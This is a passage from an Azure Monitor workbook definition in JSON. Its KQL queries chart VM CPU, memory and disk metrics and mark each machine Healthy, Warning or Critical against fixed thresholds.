_ResourceId \\r\\n| project _ResourceId, ['Trend'] = Average; \\r\\n\\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"Processor\\\" and Name == \\\"UtilizationPercentage\\\"\\r\\n| summarize Average=round(avg(Val),3) by _ResourceId\\r\\n| join (trend) on _ResourceId\\r\\n| extend Status = case (\\r\\n Average > 80, \\\"Critical\\\",\\r\\n Average > 50, \\\"Warning\\\",\\r\\n Average <= 50, \\\"Healthy\\\", \\\"Unknown\\\"\\r\\n)\\r\\n\\r\\n| project Status, _ResourceId, Average, Trend\\r\\n| sort by Status desc\",\"size\":0,\"showAnalytics\":true,\"title\":\"Thresholds (Warning=50; Critical=80) - All Computers\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"Status\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"Healthy\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Warning\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Critical\",\"representation\":\"critical\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"unknown\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"Average\",\"formatter\":8,\"formatOptions\":{\"min\":0,\"max\":100,\"palette\":\"greenRed\"}},{\"columnMatch\":\"Trend\",\"formatter\":21,\"formatOptions\":{\"palette\":\"green\"}}],\"filter\":true,\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_1\",\"sortOrder\":2}],\"labelSettings\":[{\"columnId\":\"Status\",\"label\":\"Status\"},{\"columnId\":\"_ResourceId\",\"label\":\"Computer\"}]},\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_1\",\"sortOrder\":2}]},\"customWidth\":\"50\",\"name\":\"query - 9\",\"styleSettings\":{\"showBorder\":true}},{\"type\":1,\"content\":{\"json\":\"## Memory: _Available MBytes_ and _% Committed Bytes in Use_\"},\"name\":\"text - 11\"},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let TopComputers = InsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n| summarize AvailableGBytes = round(avg(Val)/1024,2) by Computer\\r\\n| top 10 by AvailableGBytes asc\\r\\n| project Computer; \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| where Computer in (TopComputers) \\r\\n| where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n| summarize AvailableGBytes = round(avg(Val)/1024,2) by Computer, bin(TimeGenerated, ({TimeRange:end} - {TimeRange:start})/100)\\r\\n| render timechart\",\"size\":0,\"aggregation\":3,\"showAnalytics\":true,\"title\":\"Available MBytes - Top 10 Computers\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"visualization\":\"timechart\",\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"AvailableMBytes\",\"formatter\":0,\"formatOptions\":{\"showIcon\":true},\"numberFormat\":{\"unit\":4,\"options\":{\"style\":\"decimal\",\"useGrouping\":false}}}]},\"chartSettings\":{\"createOtherGroup\":0,\"showLegend\":true,\"ySettings\":{\"unit\":5,\"min\":null,\"max\":null}}},\"customWidth\":\"50\",\"name\":\"query - 5\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let trend = \\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\" \\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n| make-series Average = round(avg(Val), 3) default = 0 on TimeGenerated from {TimeRange:start} to {TimeRange:end} step totimespan('00:30:00') by _ResourceId \\r\\n| project _ResourceId, ['Trend'] = Average; \\r\\n\\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n| summarize [\\\"Available GBytes\\\"]=round(avg(Val)/1024,2) by _ResourceId\\r\\n| join (trend) on _ResourceId\\r\\n| extend Status = case (\\r\\n [\\\"Available GBytes\\\"] > 4, \\\"Healthy\\\",\\r\\n [\\\"Available GBytes\\\"] >= 1, \\\"Warning\\\",\\r\\n [\\\"Available GBytes\\\"] < 1, \\\"Critical\\\", \\\"Unknown\\\"\\r\\n)\\r\\n| project Status, _ResourceId, [\\\"Available GBytes\\\"], Trend\\r\\n| sort by [\\\"Available GBytes\\\"] asc\",\"size\":0,\"showAnalytics\":true,\"title\":\"Thresholds (Warning < 4 GB; Critical < 1 GB) - All Computers\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"Status\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"Healthy\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Warning\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Critical\",\"representation\":\"critical\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"Unknown\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"Available GBytes\",\"formatter\":8,\"formatOptions\":{\"min\":0,\"max\":20,\"palette\":\"redGreen\"}},{\"columnMatch\":\"Trend\",\"formatter\":21,\"formatOptions\":{\"palette\":\"green\"}}],\"filter\":true,\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_1\",\"sortOrder\":2}],\"labelSettings\":[{\"columnId\":\"Status\",\"label\":\"Status\"},{\"columnId\":\"_ResourceId\",\"label\":\"Computer\"}]},\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_1\",\"sortOrder\":2}]},\"customWidth\":\"50\",\"name\":\"query - 9 - Copy\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let TopComputers = InsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n| extend TotalMemory = toreal(todynamic(Tags)[\\\"vm.azm.ms/memorySizeMB\\\"]) \\r\\n| extend CommittedMemoryPercentage = 100-((toreal(Val) / TotalMemory) * 100.0)\\r\\n| summarize PctCommittedBytes = round(avg(CommittedMemoryPercentage),2) by Computer\\r\\n| top 10 by PctCommittedBytes desc\\r\\n| project Computer; \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| where Computer in (TopComputers) \\r\\n| where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n| extend TotalMemory = toreal(todynamic(Tags)[\\\"vm.azm.ms/memorySizeMB\\\"]) \\r\\n| extend CommittedMemoryPercentage = 100-((toreal(Val) / TotalMemory) * 100.0)\\r\\n| summarize PctCommittedBytes = round(avg(CommittedMemoryPercentage),2) by Computer, bin(TimeGenerated, ({TimeRange:end} - {TimeRange:start})/100)\\r\\n| render timechart\",\"size\":0,\"aggregation\":3,\"showAnalytics\":true,\"title\":\"% Committed Bytes In Use - Top 10 Computers\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"chartSettings\":{\"group\":\"Computer\",\"createOtherGroup\":0,\"showLegend\":true,\"ySettings\":{\"unit\":1,\"min\":0,\"max\":100}}},\"customWidth\":\"50\",\"name\":\"query - 9\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let trend = \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\" \\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n| extend TotalMemory = toreal(todynamic(Tags)[\\\"vm.azm.ms/memorySizeMB\\\"]) \\r\\n| extend CommittedMemoryPercentage = 100-((toreal(Val) / TotalMemory) * 100.0)\\r\\n| make-series Average = round(avg(CommittedMemoryPercentage), 3) default = 0 on TimeGenerated from {TimeRange:start} to {TimeRange:end} step totimespan('00:30:00') by _ResourceId \\r\\n| project _ResourceId, ['Trend'] = Average; \\r\\n\\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n| extend TotalMemory = toreal(todynamic(Tags)[\\\"vm.azm.ms/memorySizeMB\\\"]) \\r\\n| extend CommittedMemoryPercentage = 100-((toreal(Val) / TotalMemory) * 100.0)\\r\\n| summarize Average=round(avg(CommittedMemoryPercentage),3) by _ResourceId\\r\\n| join (trend) on _ResourceId\\r\\n| extend Status = case (\\r\\n Average > 90, \\\"Critical\\\",\\r\\n Average > 60, \\\"Warning\\\",\\r\\n Average <= 60, \\\"Healthy\\\", \\\"Unknown\\\"\\r\\n)\\r\\n\\r\\n| project Status, _ResourceId, Average, Trend\\r\\n| sort by Average \",\"size\":0,\"showAnalytics\":true,\"title\":\"Thresholds (Warning>60; Critical>90) - All Computers\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"Status\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"Healthy\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Warning\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Critical\",\"representation\":\"critical\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"unknown\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"Average\",\"formatter\":8,\"formatOptions\":{\"min\":0,\"max\":100,\"palette\":\"greenRed\"}},{\"columnMatch\":\"Trend\",\"formatter\":21,\"formatOptions\":{\"palette\":\"green\"}}],\"filter\":true,\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_1\",\"sortOrder\":2}],\"labelSettings\":[{\"columnId\":\"Status\",\"label\":\"Status\"},{\"columnId\":\"_ResourceId\",\"label\":\"Computer\"}]},\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_1\",\"sortOrder\":2}]},\"customWidth\":\"50\",\"name\":\"query - 9 - Copy\",\"styleSettings\":{\"showBorder\":true}},{\"type\":1,\"content\":{\"json\":\"## Logical Disk: _Free Megabytes_ and _Avg read/write per sec_ \"},\"name\":\"text - 12\"},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let TopDiscos = InsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"FreeSpaceMB\\\"\\r\\n| extend Disk = tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or Disk==\\\"/\\\"\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",Computer )\\r\\n| summarize FreeSpace = round(avg(Val),2) by Disco\\r\\n| top 10 by FreeSpace asc\\r\\n| project Disco; \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"FreeSpaceMB\\\"\\r\\n| extend Disk = tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or Disk==\\\"/\\\"\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",Computer )\\r\\n| where Disco in (TopDiscos) \\r\\n| summarize FreeSpace = round(avg(Val),2) by Disco, bin(TimeGenerated, ({TimeRange:end} - {TimeRange:start})/100)\\r\\n\\r\\n\\r\\n\",\"size\":0,\"aggregation\":3,\"showAnalytics\":true,\"title\":\"Free Megabytes - Top 10 Computers-Volumes\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"visualization\":\"timechart\",\"chartSettings\":{\"showLegend\":true,\"ySettings\":{\"numberFormatSettings\":{\"unit\":4,\"options\":{\"style\":\"decimal\",\"useGrouping\":true}}}}},\"customWidth\":\"50\",\"name\":\"query - 6\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let trend = \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup}) \\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"FreeSpaceMB\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or Disk==\\\"/\\\"\\r\\n| extend Disco = strcat(Disk, \\\" - \\\", _ResourceId)\\r\\n| make-series Average = round(avg(Val), 3) default = 0 on TimeGenerated from {TimeRange:start} to {TimeRange:end} step totimespan('00:30:00') by Disco \\r\\n| project Disco, ['Trend'] = Average; \\r\\n\\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"FreeSpaceMB\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or Disk==\\\"/\\\"\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",_ResourceId )\\r\\n| summarize Average=round(avg(Val),2) by Disco,_ResourceId,Disk\\r\\n| join (trend) on Disco\\r\\n| extend Status = case (\\r\\n Average < 5000, \\\"Critical\\\",\\r\\n Average < 30000, \\\"Warning\\\",\\r\\n Average >= 30000, \\\"Healthy\\\", \\\"Unknown\\\"\\r\\n)\\r\\n\\r\\n| project Status, _ResourceId,Disk, Average, Trend\\r\\n| sort by Average asc \",\"size\":0,\"showAnalytics\":true,\"title\":\"Thresholds (Warning < 30GB; Critical < 5GB) - All Computers-Volumes\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"Status\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"Healthy\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Warning\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Critical\",\"representation\":\"critical\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"unknown\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"Average\",\"formatter\":8,\"formatOptions\":{\"min\":0,\"max\":40000,\"palette\":\"redGreen\"},\"numberFormat\":{\"unit\":4,\"options\":{\"style\":\"decimal\",\"useGrouping\":false,\"minimumFractionDigits\":2,\"maximumFractionDigits\":2}}},{\"columnMatch\":\"Trend\",\"formatter\":21,\"formatOptions\":{\"palette\":\"green\"}}],\"filter\":true,\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_1\",\"sortOrder\":2}],\"labelSettings\":[{\"columnId\":\"Status\",\"label\":\"Status\"},{\"columnId\":\"_ResourceId\",\"label\":\"Computer\"}]},\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_1\",\"sortOrder\":2}]},\"customWidth\":\"50\",\"name\":\"query - 9 - Copy - Copy\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let TopDiscos = InsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"ReadsPerSecond\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or ( Disk == \\\"/\\\")\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",Computer )\\r\\n| summarize MilliSeconds = avg(Val) by Disco\\r\\n| top 10 by MilliSeconds desc\\r\\n| project Disco; \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"ReadsPerSecond\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or ( Disk == \\\"/\\\")\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",Computer )\\r\\n| where Disco in (TopDiscos) \\r\\n| summarize MilliSeconds = avg(Val) by Disco, bin(TimeGenerated, ({TimeRange:end} - {TimeRange:start})/100)\\r\\n| render timechart\\r\\n\\r\\n\\r\\n\",\"size\":0,\"aggregation\":3,\"showAnalytics\":true,\"title\":\"Disk Reads/sec - Top 10 Computers-Volume\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"visualization\":\"timechart\",\"chartSettings\":{\"group\":\"Disco\",\"createOtherGroup\":22,\"showLegend\":true}},\"customWidth\":\"50\",\"name\":\"query - 6 - Copy\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let trend = \\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\" \\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup}) \\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\" \\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"ReadsPerSecond\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where ((strlen(Disk) == 2 and Disk contains \\\":\\\") or (Disk == \\\"/\\\"))\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",_ResourceId )\\r\\n| make-series AVGReads = round(avg(Val),2) default = 0 on TimeGenerated from {TimeRange:start} to {TimeRange:end} step totimespan('00:30:00') by Disco \\r\\n| project Disco, ['Trend'] = AVGReads; \\r\\n\\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"ReadsPerSecond\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where ((strlen(Disk) == 2 and Disk contains \\\":\\\") or (Disk == \\\"/\\\"))\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",_ResourceId )\\r\\n| summarize AVGReads=round(avg(Val),2) by Disco,_ResourceId,Disk\\r\\n| join (trend) on Disco\\r\\n| extend Status = case (\\r\\n AVGReads > 25, \\\"Critical\\\",\\r\\n AVGReads > 15, \\\"Warning\\\",\\r\\n AVGReads <= 15, \\\"Healthy\\\", \\\"Unknown\\\"\\r\\n)\\r\\n| project _ResourceId,Disk, [\\\"Reads\\\"]=AVGReads, Trend\\r\\n| sort by [\\\"Reads\\\"] desc \",\"size\":0,\"showAnalytics\":true,\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"Trend\",\"formatter\":21,\"formatOptions\":{\"palette\":\"green\"}},{\"columnMatch\":\"Status\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"Healthy\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Warning\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Critical\",\"representation\":\"critical\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"unknown\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"Average\",\"formatter\":8,\"formatOptions\":{\"min\":0,\"max\":100,\"palette\":\"blue\"}}],\"filter\":true,\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_0\",\"sortOrder\":2}],\"labelSettings\":[{\"columnId\":\"_ResourceId\",\"label\":\"Computer\"}]},\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_0\",\"sortOrder\":2}]},\"customWidth\":\"50\",\"name\":\"query - 9 - Copy - Copy - Copy\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let TopDiscos= InsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"WritesPerSecond\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or Disk==\\\"/\\\"\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",Computer )\\r\\n| summarize MilliSeconds = avg(Val) by Disco\\r\\n| top 10 by MilliSeconds desc\\r\\n| project Disco; \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"WritesPerSecond\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or Disk==\\\"/\\\"\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",Computer )\\r\\n| where Disco in (TopDiscos) \\r\\n| summarize MilliSeconds = avg(Val) by Disco, bin(TimeGenerated, ({TimeRange:end} - {TimeRange:start})/100)\\r\\n| render timechart\\r\\n\\r\\n\\r\\n\",\"size\":0,\"showAnalytics\":true,\"title\":\"Disk Writes/sec - Top 10 Computers-Volume\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"visualization\":\"timechart\",\"chartSettings\":{\"group\":\"Disco\",\"createOtherGroup\":22,\"showLegend\":true}},\"customWidth\":\"50\",\"name\":\"query - 6 - Copy - Copy\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let trend = \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\" \\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"WritesPerSecond\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or Disk==\\\"/\\\"\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",_ResourceId )\\r\\n| make-series AVGWrites = round(avg(Val),2) default = 0 on TimeGenerated from {TimeRange:start} to {TimeRange:end} step totimespan('00:30:00') by Disco \\r\\n| project Disco, ['Trend'] = AVGWrites; \\r\\n\\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"LogicalDisk\\\" and Name == \\\"WritesPerSecond\\\"\\r\\n| extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n| where (strlen(Disk) ==2 and Disk contains \\\":\\\") or Disk==\\\"/\\\"\\r\\n| extend Disco = strcat(Disk, \\\" - \\\",_ResourceId )\\r\\n| summarize AVGWrites=round(avg(Val),2) by Disco,_ResourceId,Disk\\r\\n| join (trend) on Disco\\r\\n| extend Status = case (\\r\\n AVGWrites > 25, \\\"Critical\\\",\\r\\n AVGWrites > 15, \\\"Warning\\\",\\r\\n AVGWrites <= 15, \\\"Healthy\\\", \\\"Unknown\\\"\\r\\n)\\r\\n\\r\\n| project _ResourceId,Disk, [\\\"Writes\\\"]=AVGWrites, Trend\\r\\n| sort by [\\\"Writes\\\"] desc \",\"size\":0,\"showAnalytics\":true,\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"Trend\",\"formatter\":21,\"formatOptions\":{\"palette\":\"green\"}},{\"columnMatch\":\"Status\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"Healthy\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Warning\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"Critical\",\"representation\":\"critical\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"unknown\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"Average\",\"formatter\":8,\"formatOptions\":{\"min\":0,